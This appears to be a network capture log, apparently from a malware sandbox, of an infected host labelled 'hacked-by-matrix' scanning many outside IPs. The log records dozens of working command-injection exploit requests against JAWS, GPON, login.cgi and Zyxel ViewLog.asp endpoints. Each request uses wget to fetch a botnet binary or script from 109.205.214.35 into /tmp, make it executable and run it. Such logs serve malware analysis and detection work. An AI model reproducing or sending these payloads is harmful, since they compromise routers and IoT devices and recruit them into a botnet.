Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:38.654567957 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:17:38.934386015 CET	146	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
444	192.168.2.13	52722	154.81.96.132	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:38.660788059 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:17:39.593039989 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:17:39.900042057 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Thu, 21 Mar 2024 04:17:39 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
445	192.168.2.13	43676	201.46.47.234	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:38.836601019 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:17:39.078743935 CET	520	IN	HTTP/1.1 400 Bad Request Referrer-Policy: no-referrer Server: thttpd Content-Type: text/html; charset=utf-8 Date: Thu, 21 Mar 2024 04:17:38 GMT Last-Modified: Thu, 21 Mar 2024 04:17:38 GMT Accept-Ranges: bytes Connection: close Cache-Control: no-cache,no-store Data Raw: 3c 48 54 4d 4c 3e 0a 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 63 63 39 39 39 39 22 20 54 45 58 54 3d 22 23 30 30 30 30 30 30 22 20 4c 49 4e 4b 3d 22 23 32 30 32 30 66 66 22 20 56 4c 49 4e 4b 3d 22 23 34 30 34 30 63 63 22 3e 0a 3c 48 32 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 32 3e 0a 59 6f 75 72 20 72 65 71 75 65 73 74 20 68 61 73 20 62 61 64 20 73 79 6e 74 61 78 20 6f 72 20 69 73 20 69 6e 68 65 72 65 6e 74 6c 79 20 69 6d 70 6f 73 73 69 62 6c 65 20 74 6f 20 73 61 74 69 73 66 79 2e 0a 3c 48 52 3e 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>400 Bad Request</TITLE></HEAD><BODY BGCOLOR="#cc9999" TEXT="#000000" LINK="#2020ff" VLINK="#4040cc"><H2>400 Bad Request</H2>Your request has bad syntax or is inherently impossible to satisfy.<HR></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
446	192.168.2.13	50778	185.195.42.173	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:38.836711884 CET	259	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:17:39.020313978 CET	188	IN	HTTP/1.0 400 Bad request Cache-Control: no-cache Connection: close Content-Type: text/html Data Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 72 65 71 75 65 73 74 3c 2f 68 31 3e 0a 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 6e 20 69 6e 76 61 6c 69 64 20 72 65 71 75 65 73 74 2e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 0a Data Ascii: <html><body><h1>400 Bad request</h1>Your browser sent an invalid request.</body></html>
Mar 21, 2024 05:17:39.614077091 CET	188	IN	HTTP/1.0 400 Bad request Cache-Control: no-cache Connection: close Content-Type: text/html Data Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 72 65 71 75 65 73 74 3c 2f 68 31 3e 0a 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 6e 20 69 6e 76 61 6c 69 64 20 72 65 71 75 65 73 74 2e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 0a Data Ascii: <html><body><h1>400 Bad request</h1>Your browser sent an invalid request.</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
447	192.168.2.13	59732	81.169.157.192	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:38.861385107 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
448	192.168.2.13	51856	52.69.228.13	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:38.937156916 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:17:39.826550961 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:17:40.119952917 CET	146	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
449	192.168.2.13	50788	185.195.42.173	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:39.217147112 CET	188	IN	HTTP/1.0 400 Bad request Cache-Control: no-cache Connection: close Content-Type: text/html Data Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 72 65 71 75 65 73 74 3c 2f 68 31 3e 0a 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 6e 20 69 6e 76 61 6c 69 64 20 72 65 71 75 65 73 74 2e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 0a Data Ascii: <html><body><h1>400 Bad request</h1>Your browser sent an invalid request.</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
450	192.168.2.13	38582	212.109.219.33	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:39.217370987 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:17:39.458492041 CET	355	IN	HTTP/1.1 400 Bad Request Server: nginx/1.14.0 (Ubuntu) Date: Thu, 21 Mar 2024 04:17:39 GMT Content-Type: text/html Content-Length: 182 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
451	192.168.2.13	47874	37.4.173.77	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:39.691939116 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
452	192.168.2.13	36110	37.43.169.123	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:39.691956043 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
453	192.168.2.13	33226	42.43.97.181	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:39.691957951 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
454	192.168.2.13	44144	79.226.234.160	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:39.691999912 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
455	192.168.2.13	42828	118.63.10.218	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:39.692047119 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
456	192.168.2.13	45012	178.222.143.39	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:39.692065954 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
457	192.168.2.13	45136	210.9.194.62	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:39.692085028 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
458	192.168.2.13	50068	79.161.152.234	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:39.692114115 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
459	192.168.2.13	37028	94.91.193.101	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:39.692157030 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
460	192.168.2.13	54586	178.14.230.30	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:39.692230940 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
461	192.168.2.13	56414	206.226.170.103	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:39.808087111 CET	423	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save

Session ID	Source IP	Source Port	Destination IP	Destination Port
462	192.168.2.13	38430	80.121.217.30	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:39.907896996 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:17:40.120028973 CET	817	IN	HTTP/1.1 405 Method Not Allowed Date: Thu, 21 Mar 2024 04:17:40 GMT Allow: TRACE Content-Length: 221 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 35 20 4d 65 74 68 6f 64 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 65 74 68 6f 64 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 6d 65 74 68 6f 64 20 50 4f 53 54 20 69 73 20 6e 6f 74 20 61 6c 6c 6f 77 65 64 20 66 6f 72 20 74 68 69 73 20 55 52 4c 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 48 54 54 50 2f 31 2e 31 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 0d 0a 44 61 74 65 3a 20 54 68 75 2c 20 32 31 20 4d 61 72 20 32 30 32 34 20 30 34 3a 31 37 3a 34 30 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 32 32 36 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 0d 0a 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 